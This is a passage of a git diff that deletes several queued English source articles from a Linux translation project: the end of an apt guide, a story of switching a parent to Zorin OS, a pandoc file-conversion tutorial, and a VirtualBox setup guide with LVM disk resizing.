-APT-Sources: hirsute/universe amd64 Packages -Description: Web Console for Linux servers - The Cockpit Web Console enables users to administer GNU/Linux servers using a - web browser. - . - It offers network configuration, log inspection, diagnostic reports, SELinux - troubleshooting, interactive command-line sessions, and more. - -$ -``` - -In particular, notice the `Description` field, which tells you more about the application. The `Depends` field says what else must be installed, and `Recommends` shows what other—if any—cooperating components are suggested alongside it. The `Homepage` field offers a URL in case you need more info. - -### What package provides a file? - -Sometimes you don't know the package name, but you know a file that must be in a package. Seth offers as an example the `qmake-qt5` utility. Using `apt search` doesn't find it: - - -``` -$ apt search qmake-qt5 -Sorting... Done -Full Text Search... Done -$ -``` - -However, a related command, `apt-file` will explore inside packages: - - -``` -$ apt-file search qmake-qt5 -qt5-qmake-bin: /usr/share/man/man1/qmake-qt5.1.gz -$ -``` - -This turns up a man page for `qmake-qt5` that is part of a package called `qt5-qmake-bin`. Note that this package name reverses the `qmake` and `qt5` parts. - -### What files are included in a package? - -That handy `apt-file` command also tells which files are included in a given package. For example: - - -``` -$ apt-file list cockpit -cockpit: /usr/share/doc/cockpit/TODO.Debian -cockpit: /usr/share/doc/cockpit/changelog.Debian.gz -cockpit: /usr/share/doc/cockpit/copyright -cockpit: /usr/share/man/man1/cockpit.1.gz -cockpit: /usr/share/metainfo/cockpit.appdata.xml -cockpit: /usr/share/pixmaps/cockpit.png -$ -``` - -Note that this is distinct from the info provided by the `apt show` command, which lists the package's dependencies (other packages that must be installed). - -### Removing an application - -You can also remove packages with `apt`. For example, to remove the `apt-file` application: - - -``` -`$ sudo apt purge apt-file` -``` - -Note that a superuser must run `apt` to install or remove applications. - -Removing a package doesn't automatically remove all the dependencies that `apt` installs along the way. However, it's easy to carry out that little bit of tidying: - - -``` -`$ sudo apt autoremove` -``` - -### Getting to know apt - -As Seth wrote, "the more you know about how your package manager works, the easier it is for you to install and query applications when necessary." - -Even if you're not a regular `apt` user, knowing it can be useful when you need to work at the command line while installing or removing packages (for example, on a remote server or when following a how-to published by some helpful soul). You may also need to know a bit about Dkpg (mentioned above); for example, some software creators provide a bare `.pkg` file. - -I find the Synaptic package manager to be a really useful tool on my desktop, but I also use `apt` on a handful of servers that I maintain for various purposes. - -**[Download our `apt` cheat sheet][15]** to get used to the command and try some new tricks with it. Once you do, you might find it hard to use anything else. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/apt-linux - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bash_command_line.png?itok=k4z94W2U (bash logo on green background) -[2]: https://opensource.com/article/21/2/linux-package-management -[3]: https://opensource.com/article/21/5/dnf -[4]: https://www.nongnu.org/synaptic/ -[5]: https://wiki.debian.org/Aptitude -[6]: https://wiki.debian.org/Teams/Dpkg -[7]: https://flatpak.org/ -[8]: https://snapcraft.io/ -[9]: https://wiki.gnome.org/Apps/Software -[10]: https://archlinux.org/ -[11]: https://www.gentoo.org/ -[12]: https://opensource.com/article/20/11/cockpit-server-management -[13]: mailto:ubuntu-devel-discuss@lists.ubuntu.com -[14]: mailto:pkg-utopia-maintainers@lists.alioth.debian.org -[15]: https://opensource.com/downloads/apt-cheat-sheet diff --git a/sources/tech/20210626 How I helped my mom switch from Windows to Linux.md b/sources/tech/20210626 How I helped my mom switch from Windows to Linux.md deleted file mode 100644 index 7e0a4ae5fa..0000000000 --- a/sources/tech/20210626 How I helped my mom switch from Windows to Linux.md +++ /dev/null @@ -1,161 +0,0 @@ -[#]: subject: (How I helped my mom switch from Windows to Linux) -[#]: via: (https://opensource.com/article/21/6/mom-switch-linux) -[#]: author: (Tomasz https://opensource.com/users/tomaszwaraksa) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How I helped my mom switch from Windows to Linux -====== -With Linux, novice users will gain a smooth, polished desktop experience -with a multitude of familiar applications. -![Red Lego Heart][1] - -The Large Hadron Collider is [powered by Linux][2]. Laptops on the International Space Station [run on Linux][3]. So do [Instagram][4] and [Nest thermostats][5]. Recently, we watched Ingenuity fly over Mars, an amazing robo-copter driven by… [Linux][6]! It's yet more proof of how flexible and versatile this operating system can be. - -But now, the really big news. It's official. Linux can handle Mom and Dad just as well! - -### The story - -About a year ago, I decided to migrate my mom to Linux. A year has passed, so it's time for retrospection and conclusions. - -Like most of us, I'm officially _Mom's Computer Admin_. Mom is a lovely lady in her late 60s—a real sweetheart. Mom's computer skills are basic. Mom's computer needs are basic, too. Read the internets, send email, type text, browse and edit photos, play videos and music, call family and friends on Skype or Signal. - -Until last year, she was using a Windows laptop, old but not too bad. Then one day, through deceit, threats, and obnoxious popups, Microsoft finally made her click that dreaded "UPGRADE TO WINDOWS 10" button. - -My life as Mom's Computer Admin quickly turned into hell with her desperate calls for help. Why does everything look so different? Where is my app menu? What, this pile of tiles is now my app menu? Why is the computer so slow? Why does it restart daily for updates, just when I need to use it?! Why is something (she meant the hard drive) making noise all the time? What is it actually doing all the time? - -And how would I know that without any ability to look into the source code? - -I considered rolling back the upgrade. But with Windows 7 reaching end-of-life soon, I feared the worst: Without security updates, Mom's computer would soon become a member of countless bot networks, mining cryptocurrencies, mailing spam, and launching vicious DDOS attacks on the vital infrastructure of entire countries. And I'd be the one to clean this mess—every weekend. - -### Linux to the rescue - -With nothing to lose, I decided to migrate her to Linux. I made "the move" five years ago and have never been happier. It surely wouldn't do harm to try it with her. - -Mom was happy when I declared to fix her problems once and for all. What she didn't know is that she would become the crucial part of a year-long scientific experiment named: "Can Mom survive Linux?" - -![Cowsay "Can Mom Survive Linux?"][7] - -(Tomasz Waraksa, [CC BY-SA 4.0][8]) - -And so, one day in February 2020, I arrived from faraway Dublin with a seven-year-old Lenovo Yoga 13, which had similar specs but a much nicer screen and half the weight. After some deliberations and testing various Linux distributions on VirtualBox, I decided on the [Zorin OS][9] distribution, proudly made in Ireland. My choice was driven by the following factors: - - * It's based on Ubuntu Linux, with which I'm most familiar. - * It closely resembles Windows 7, being carefully designed with Windows refugees in mind. - * It feels lightweight, simple, and sufficiently conservative for Mom. No shiny macOS Big Sur glitz anywhere around! - - - -![Zorin OS desktop][10] - -(Tomasz Waraksa, [CC BY-SA 4.0][8]) - -### System installation - -I installed the operating system my usual way, with the `/home` folder on a dedicated partition to keep Mom's Stuff safe in the unlikely case of system reinstallation. It's my old trick that makes late-night distro-hopping much easier. - -During installation, I chose Polish as the user interface (UI) language. Just like me, Mom is Polish to the bone. No worries, Linux seems to support every possible language, including [Klingon][11]. - -Then, I installed the following applications to cover Mom's needs: - - * Skype - * [Signal for Desktop][12] - * Google Chrome browser - * [Geary][13] email client - * [gThumb][14] for photo viewing and editing - * [VLC][15] for playing video and music - * Softmaker Office for text editing and spreadsheets - - - -Notice how there's no antivirus on the list. Yay! - -An hour later, her Zorin OS box was ready and loaded with applications. - -![Zorin OS home folder][16] - -(Tomasz Waraksa, [CC BY-SA 4.0][8]) - -### System configuration - -I made myself Mom's Computer Admin by doing the following: - - * Created an admin account for myself - * Turned Mom's account into non-admin - * Installed the `ssh` daemon for remote unattended access - * Added the machine to my Hamachi VPN: This way, I can securely connect via `ssh` without opening port 22 on the router. Hamachi is a VPN service by LogMeIn. An old-school VPN, I mean. Intended not for running Netflix from another country but for connecting computers into a secure network over the internet. - * Enabled Uncomplicated Firewall ( `ufw`) and allowed ssh traffic - * Installed AnyDesk for logging in to the desktop - - - -With this, I have secure ssh access to Mom's laptop. I can perform periodic maintenance via shell without Mom even noticing anything. That's because Linux normally _does not_ require a reboot after completed updates; what a miracle, how's that even possible? - -![Updating software remotely][17] - -(Tomasz Waraksa, [CC BY-SA 4.0][8]) - -### Can Mom survive Linux? - -Without the slightest doubt! - -When I showed Mom her new PC, she did ask why this new Windows looked different _again_. I had to reveal that this is not Windows at all, but Linux, and explain why we all love Linux. But she picked it up quickly. The classic Zorin OS desktop is very much like her old Windows 7. I watched her find her way through the system and launch her familiar applications with ease. - -She immediately noticed how much faster the computer starts and how much better it performs. - -She's been asking me when I will do the usual computer cleanup so that it doesn't become slow again. I've explained that, with her average use, it won't be needed. Linux simply doesn't rot on its own as Windows does. So far, this has been true. Her PC runs as smooth and fast as on day one. - -Every now and then, I ask how she feels about her new computer. She invariably answers that she's happy with it. Everything works smoothly. The computer doesn't get busy for no reason. No more interrupting her with Very Important Updates. And the menu is where it should always be. She's comfortable with her usual applications in this entirely new environment. - -Over the year, I've logged in remotely a few times to run routine package upgrades. I've logged in with AnyDesk twice. Once, when Mom asked whether photos from an inserted SD card could be imported automatically into the `~/Pictures` folder, and preferably into folders named by dates. Yes, `gThumb` can easily be made to do that with a bit of Bash. Another time, I logged in to add frequently used websites as desktop icons. - -And this has been all of my effort as Mom's Linux Admin so far! At this pace, I could be Mom's Computer Admin to 50 other moms! - -### Summary - -I hope that my story will inspire you to think about migrating to Linux. In the past, we considered Linux to be too difficult for casual users. But today I believe that the opposite is true. The less proficient computer users are, the more reasons they have to migrate to Linux! - -With Linux, novice users will gain a smooth, polished desktop experience with a multitude of familiar applications. They will be much safer than on any other popular computing platform. And helping them with remote access has never been easier and more secure! - -_Disclaimer: This article is not promoting any of the described products, services, or vendors. I don't have any commercial interest nor associations with them. I'm not trying to suggest that these products or services are best for you, nor promising that your experience will be the same._ - -* * * - -_This article originally appeared on [Let's Debug It][18] and is reused with permission._ - -Sandstorm's Jade Wang shares some of her favorite open source web apps that are self-hosted... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/mom-switch-linux - -作者:[Tomasz][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tomaszwaraksa -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/heart_lego_ccby20.jpg?itok=VRpHf4iU (Red Lego Heart) -[2]: https://www.redhat.com/en/about/press-releases/red-hat-provides-cern-platform-mission-critical-applications -[3]: https://www.extremetech.com/extreme/155392-international-space-station-switches-from-windows-to-linux-for-improved-reliability -[4]: https://instagram-engineering.com/what-powers-instagram-hundreds-of-instances-dozens-of-technologies-adf2e22da2ad -[5]: https://www.theverge.com/2011/11/14/2559567/tony-fadell-nest-learning-thermostat -[6]: https://www.zdnet.com/article/to-infinity-and-beyond-linux-and-open-source-goes-to-mars/ -[7]: https://opensource.com/sites/default/files/uploads/intro.png (Cowsay "Can Mom Survive Linux?") -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: https://zorinos.com/ -[10]: https://opensource.com/sites/default/files/uploads/zorin-os-desktop.png (Zorin OS desktop) -[11]: https://blogs.gnome.org/muelli/2010/04/klingon-language-support/ -[12]: https://github.com/signalapp -[13]: https://wiki.gnome.org/Apps/Geary -[14]: https://wiki.gnome.org/Apps/Gthumb -[15]: https://www.videolan.org/vlc/ -[16]: https://opensource.com/sites/default/files/uploads/zorin-os-home-folder.png (Zorin OS home folder) -[17]: https://opensource.com/sites/default/files/uploads/upgrading-software.png (Updating software remotely) -[18]: https://letsdebug.it/post/16-linux-for-mars-copters-moms-and-pops/ diff --git a/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md b/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md deleted file mode 100644 index e6abce3857..0000000000 --- a/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: subject: (How to Convert File Formats With Pandoc in Linux [Quick Guide]) -[#]: via: (https://itsfoss.com/pandoc-convert-file/) -[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Convert File Formats With Pandoc in Linux [Quick Guide] -====== - -In an earlier article, I covered the [procedure to batch convert a handful of Markdown files to HTML][1] using pandoc. In that article, multiple HTML files were created, but pandoc can do much more. It has been called “the Swiss army knife” of document conversion – and with good reason. There isn’t a lot that it can’t do. - -[Pandoc][2] can covert .docx, .odt, .html, .epub, LaTeX, DocBook, etc. to these and other formats, such as JATS, TEI Simple, AsciiDoc, and more. - -Yes, this means that pandoc can convert .docx files to .pdf and .html, but you may be thinking: “Word can export files to .pdf and .html too. Why would I need pandoc?” - -You would have a good point there, but since pandoc can convert so many formats, it could well become your go-to tool for all of your conversion tasks. For example, many of us know that [Markdown editors][3] can export its Markdown files to .html. With pandoc, Markdown files can be converted to numerous other formats as well. - -I rarely have Markdown export to HTML; I normally let pandoc do it. - -### Converting File Formats with Pandoc - -![][4] - -Here, I will convert Markdown files into a few different formats. I do almost all of my writing using Markdown syntax, but I often have to convert to another format: .docx files are usually required for school work, .html for web pages that I create – and for .epub work, .pdf for flyers and handouts, and even an occasional TEI Simple file for a university digital humanities project. Pandoc can handle all of these, and more, easily. - -First, you need to [install pandoc][5]. Also, to create .pdf files, LaTeX will be needed as well. The package I prefer is [TeX Live][6]. - -**Note**: If you would like to try out pandoc before installing it, there is an online try-out page at: - -#### Installing pandoc and texlive - -Users of Ubuntu and other Debian distros can type the following commands in the terminal: - -``` -sudo apt-get update -sudo apt-get install pandoc texlive -``` - -Notice on the second line, you are installing pandoc and texlive in one shot. [apt-get command][7] will have no problem with this, but go get some coffee; this may take a few minutes. - -#### Getting to Conversion - -Once pandoc and texlive are installed, you can burn through some work! - -The sample document for this project will be an article that was first published in the _North American Review_ in December of 1894, and is titled: “How To Repel Train Robbers”. The Markdown file that I will be using was created some time ago as part of a restoration project. - -The file: `how_to_repel_train_robbers.md` is located in my Documents directory, in a sub-directory named samples. Here is what it looks like in Ghostwriter. - -![Markdown file in Ghostwriter][8] - -I want to create .docx, .pdf, and .html versions of this file. - -#### The First Conversion - -I’ll start with making a .pdf copy first, since I went through the trouble of installing a LaTeX package. - -While in the ~/Documents/samples/ directory, I type the following to create a .pdf file: - -``` -pandoc -o htrtr.pdf how_to_repel_train_robbers.md -``` - -The above command will create a file called htrtr.pdf from the how_to_repel_train_robbers.md file. The reason I used htrtr as a name was that it is shorter than how_to_repel_train_robbers – htrtr is the first letter of each word in the long title. - -Here is a snapshot of the .pdf file once it is made: - -![Converted PDF file viewed in Ocular][9] - -#### The Second Conversion - -Next, I want to create a .docx file. The command is almost identical to the one I used to create the .pdf and it is: - -``` -pandoc -o htrtr.docx how_to_repel_train_robbers.md -``` - -In no time, a .docx file is created. Here is what it looks like in Libre Writer: - -![Converted DOCX file viewed in Libre Writer][10] - -#### The Third Conversion - -I may want to post this on the web, so a web page would be nice. I will create a .html file with this command: - -``` -pandoc -o htrtr.html how_to_repel_train_robbers.md -``` - -Again, the command to create it is very much like the last two conversions. Here is what the .html file looks like in a browser: - -![Converted HTML file viewed in Firefox][11] - -#### Noticed Anything Yet? - -Let’s look at the past commands again. They were: - -``` -pandoc -o htrtr.pdf how_to_repel_train_robbers.md -pandoc -o htrtr.docx how_to_repel_train_robbers.md -pandoc -o htrtr.html how_to_repel_train_robbers.md -``` - -The only thing different about these three commands is the extension next to htrtr. This gives you a hint that pandoc relies on the extension of the output filename you provide. - -### Conclusion - -Pandoc can do far more than the three little conversions done here. If you write with a preferred format, but need to convert the file to another format, chances are great that pandoc will be able to do it for you. - -What would you do with this? Would you automate this? What if you had a web site that had articles for your readers to download? You could modify these little commands to work as a script and your readers could decide which format they would like. You could offer .docx, .pdf, .odt, .epub, or more. Your readers choose, the proper conversion script runs, and your readers download their file. It can be done. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/pandoc-convert-file/ - -作者:[Bill Dyer][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/bill/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/convert-markdown-files/ -[2]: https://pandoc.org/ -[3]: https://itsfoss.com/best-markdown-editors-linux/ -[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/pandoc-quick-guide.png?resize=800%2C450&ssl=1 -[5]: https://pandoc.org/installing.html -[6]: https://www.tug.org/texlive/ -[7]: https://itsfoss.com/apt-get-linux-guide/ -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ghostwriter.png?resize=800%2C516&ssl=1 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ocular.png?resize=800%2C509&ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_libre_writer.png?resize=800%2C545&ssl=1 -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_firefox.png?resize=800%2C511&ssl=1 diff --git a/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md b/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md deleted file mode 100644 index ccf231735e..0000000000 --- a/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md +++ /dev/null @@ -1,325 +0,0 @@ -[#]: subject: (Try Linux on any operating system with VirtualBox) -[#]: via: (https://opensource.com/article/21/6/try-linux-virtualbox) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Try Linux on any operating system with VirtualBox -====== -VirtualBox helps anyone—even a command line novice—set up a virtual -machine. -![Person programming on a laptop on a building][1] - -VirtualBox makes it easy for anyone to try Linux. You don't even need experience with the command line to set up a simple virtual machine to tinker with Linux. I'm kind of a power user when it comes to virtual machines, but this article will show even novices how to virtualize a Linux system. In addition, it provides an overview of how to run and install a Linux system for testing purposes with the open source hypervisor [VirtualBox][2]. - -### Terms - -Before starting, you should understand the difference between the two operating systems (OSes) in this setup: - - * **Host system:** This is your actual OS on which you install VirtualBox. - * **Guest system:** This is the system you want to run virtualized on top of your host system. - - - -Both systems, host and guest, must interact with each other when it comes to input/output, networking, file access, clipboard, audio, and video. - -In this tutorial, I'll use Windows 10 as the _host system_ and [Fedora 33][3] as the _guest system_. - -### Prerequisites - -When we talk about virtualization, we actually mean [hardware-assisted virtualization][4]. Hardware-assisted virtualization requires a compatible CPU. Almost every ordinary x86 CPU from the last decade comes which this feature. AMD calls it **AMD-V,** and Intel calls it **VT-x**. The virtualization feature adds some additional CPU instructions, and it can be enabled or disabled in the BIOS. - -To start with virtualization: - - * Make sure that AMD-V or VT-x is enabled in the BIOS. - * Download and install [VirtualBox][5]. - - - -### Prepare the virtual machine - -Download the image of the Linux distribution you want to try out. It does not matter if it's a 32-bit or 64-bit OS image. You can even start a 64-bit OS image on a 32-bit host system (with limitations in memory usage, of course) and vice versa. - -> **Considerations:** If possible, choose a Linux distribution that comes with the [Logical Volume Manager][6] (LVM). LVM decouples the filesystem from the physical hard drives. This allows you to increase the size of your guest system's hard drive if you are running out of space. - -Now, open VirtualBox and click on the yellow **New** button: - -![VirtualBox New VM][7] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Next, configure how much memory the guest OS is allowed to use: - -![Set VM memory size][9] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -My recommendation: **Don't skimp on memory!** When memory is low, the guest system will start paging memory from RAM to the hard drive, worsening the system's performance and responsiveness extremely. If the underlying host system starts paging, you might not notice. For a Linux workstation system with a graphical desktop environment, I recommend at least 4GB of memory. - -Next, create the hard disk: - -![Create virtual hard disk][10] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Choose the default option, **VDI**: - -![Selecting hard disk file type][11] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -In this window, I recommend choosing **dynamically allocated**, as this allows you to increase the size later. If you choose **fixed size**, the disk will be probably faster, but you won't be able to modify it: - -![Dynamically allocating hard disk][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -With a Linux distribution that uses LVM, you can start with a small hard disk. If you are running out of space, you can increase it on demand. - -> **Note**: Fedora's website says [it requires][13] a minimum of 20GB free disk space. I highly recommend you stick to that specification. I chose 8GB here so that I can demonstrate how to increase it later. If you are new to Linux or inexperienced with the command line, choose 20GB. - -![Setting hard disk size][14] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -After creating the hard drive, select the newly created virtual machine from the list in VirtualBox's main window and click on **Settings**. In the Settings menu, go to **System** and select the **Processor** tab. By default, VirtualBox assigns only one CPU core to the guest system. On a modern multicore CPU, it should not be any problem to assign at least two cores, which will speed up the guest system significantly: - -![Assigning cores to guest system][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -#### Network adapter setup - -The next thing to take care of is the network setup. By default, VirtualBox creates one NAT connection, which should be OK for most use cases: - -![Network settings][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You can create more than one network adapter. Here are the most common types: - - * **NAT:** The NAT adapter performs a [network address translation][17]. From the outside, it looks like the host and the guest system use the same IP address. You are not able to access the guest system from within the host system over the network. (Although you could define [port forwarding][18] to access certain services.) When your host system has access to the internet, the guest system will have access, too. NAT requires no further configuration. - * _Choose **NAT** if you only need internet access for the guest system._ - * **Bridged adapter:** Here, the guest and the host system share the same physical Ethernet device. Both systems will have independent IP addresses. From the outside, it looks like there are two separate systems in the network, both sharing the same physical Ethernet adapter. This setup is more flexible but requires more configuration. - * _Choose **Bridged adapter** if you want to share the guest system's network services._ - * **Host-only adapter:** In this configuration, the guest system can only talk to the host or other guest systems running on the same host. The host system can also connect to the guest system. There is no internet nor physical network access for the guest. - * _Choose **Host-only adapter** for advanced security._ - - - -#### Assign the OS image - -Navigate to **Storage** and select the virtual optical drive. Click on the **CD icon** on the right, and select **Choose a disk file…**. Then assign the downloaded Linux distribution image you want to install: - -![Assigning OS image][19] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### Install Linux - -The virtual machine is now configured. Leave the **Settings** menu and go back to the main window. Click on the **Green arrow** (i.e., the start button). The virtual machine will start up and boot from the virtual optical drive, and you will find yourself in your Linux distribution's installer: - -![VirtualBox Fedora installer][20] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -#### Partitioning - -The installer will ask you for partitioning information during the installation process. Choose **Custom**: - -![Selecting Custom partition configuration][21] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -> **Note:** I'm assuming you're creating this virtual machine just for testing purposes. Also you don't need to care about hibernation for your guest system, as this function is implicitly provided by VirtualBox. Therefore, you can omit the swap partition to save disk space on your host system. Keep in mind that you can add a swap partition later if needed. In [_An introduction to swap space on Linux systems_][22], David Both explains how to add a swap partition and choose the correct size. - -Fedora 33 and later offer a [zram][23] partition, a compressed part of the memory used for paging and swap. The zram partition is resized on demand, and it is much faster than a hard disk swap partition. - -To keep it simple, just add these two mount points: - -![Adding mount points][24] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Apply the changes and proceed with the installation. - -### Install VirtualBox Guest Additions - -After you finish the installation, boot from the hard drive and log in. Now you can install VirtualBox Guest Additions, which include special device drivers and system applications that provide: - - * Shared clipboard - * Shared folders - * Better performance - * Freely scalable window size - - - -To install them, click on the top menu in **Devices** and select **Insert Guest Additions CD image…**: - -![Selecting Guest Additions CD image][25] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -On most Linux distributions, the CD image with the Guest Additions is mounted automatically, and they are available in the file browser. Fedora will ask you if you want to run the installation script. Click **Run** and enter your credentials to grant the process root rights: - -![Enabling Guest Additions autorun][26] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -When the installation is finished, reboot the system. - -### LVM: Enlarge disk space - -Creating an 8GB hard disk was a dumb decision, as Fedora quickly starts signaling that it is running out of space: - -![Fedora hard disk running out of space][27] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -As I mentioned, a disk space of 20GB is recommended, and 8GB is the _absolute_ minimum for a Fedora 33 installation to boot up. A fresh installation with no additional software (except the VirtualBox Guest Additions) takes nearly the whole 8GB of available space. Don't open the GNOME Software center or anything else that might download files from the internet in this condition. - -Luckily, I chose to use LVM, so I can easily fix this mishap. - -To increase the filesystem's space within the virtual machine, you must first increase the virtual hard drive on your host system. - -Shut down the virtual machine. If your host system is running Windows, open a command prompt and navigate to `C:\Program Files\Oracle\VirtualBox`. Resize the disk to 12,000MB with the following command: - - -``` -`VBoxManage.exe modifyhd "C:\Users\StephanA\VirtualBox VMs\Fedora_33\Fedora_33.vdi" --resize 12000` -``` - -Boot the virtual machine and open the **Disks** utility. You should see the newly created unassigned free space. Select **Free Space** and click the **+** button: - -![Free space before adding][28] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Now, create a new partition. Select the amount of free space you want to use: - -![Creating a new partition and setting size][29] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You don't want to create a filesystem or anything else on your new partition, so select **Other**: - -![Selecting "other" for partition volume type][30] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Select **No Filesystem**: - -![Setting "No filesystem" on new partition][31] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -The overview should now look like this: - -![VirtualBox after adding new partition][32] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -There is a new partition device, **/dev/sda3**. Check your LVM volume group by typing `vgscan`: - -![Checking LVM volume group by typing vgscan:][33] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Now you have everything you need. Extend the volume group in the new partition: - - -``` -`vgextend fedora_localhost-live /dev/sda3` -``` - -![vgextend command output][34] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Because the volume group is larger, you can increase the size of the logical volume. The command `vgdisplay` shows that it has 951 free extends available: - -![vgdisplay command output][35] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Increase the logical volume by 951 extends: - - -``` -`lvextend -l+951 /dev/mapper/fedora_localhost--live-root` -``` - -![lvextend command output][36] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -After you increase the logical volume, the last thing to do is to resize the filesystem: - - -``` -`resize2fs /dev/mapper/fedora_localhost--live-root` -``` - -![resize2fs command output][37] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Done! Check the **Disk Usage Analyzer**, and you should see that the extended space is available for the filesystem. - -### Summary - -With a virtual machine, you can check how a piece of software behaves with a specific operating system or a specific version of an operating system. Besides that, you can also try out any Linux distribution you want to test without worrying about breaking your system. For advanced users, VirtualBox offers a wide range of possibilities when it comes to testing, networking, and simulation. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/try-linux-virtualbox - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) -[2]: https://www.virtualbox.org/ -[3]: https://getfedora.org/ -[4]: https://en.wikipedia.org/wiki/Hardware-assisted_virtualization -[5]: https://www.virtualbox.org/wiki/Downloads -[6]: https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) -[7]: https://opensource.com/sites/default/files/uploads/virtualbox_new_vm.png (VirtualBox New VM) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: https://opensource.com/sites/default/files/uploads/virtualbox_memory_size_1.png (Set VM memory size) -[10]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_1.png (Create virtual hard disk) -[11]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_2.png (Selecting hard disk file type) -[12]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_3.png (Dynamically allocating hard disk) -[13]: https://getfedora.org/en/workstation/download/ -[14]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_4.png (Setting hard disk size) -[15]: https://opensource.com/sites/default/files/uploads/virtualbox_cpu_settings.png (Assigning cores to guest system) -[16]: https://opensource.com/sites/default/files/uploads/virtualbox_network_settings2.png (Network settings) -[17]: https://en.wikipedia.org/wiki/Network_address_translation -[18]: https://www.virtualbox.org/manual/ch06.html#natforward -[19]: https://opensource.com/sites/default/files/uploads/virtualbox_choose_image3.png (Assigning OS image) -[20]: https://opensource.com/sites/default/files/uploads/virtualbox_running.png (VirtualBox Fedora installer) -[21]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_1.png (Selecting Custom partition configuration) -[22]: https://opensource.com/article/18/9/swap-space-linux-systems -[23]: https://fedoraproject.org/wiki/Changes/SwapOnZRAM -[24]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_2.png (Adding mount points) -[25]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_2.png (Selecting Guest Additions CD image) -[26]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_autorun.png (Enabling Guest Additions autorun) -[27]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_usage_1.png (Fedora hard disk running out of space) -[28]: https://opensource.com/sites/default/files/uploads/virtualbox_disks_before.png (Free space before 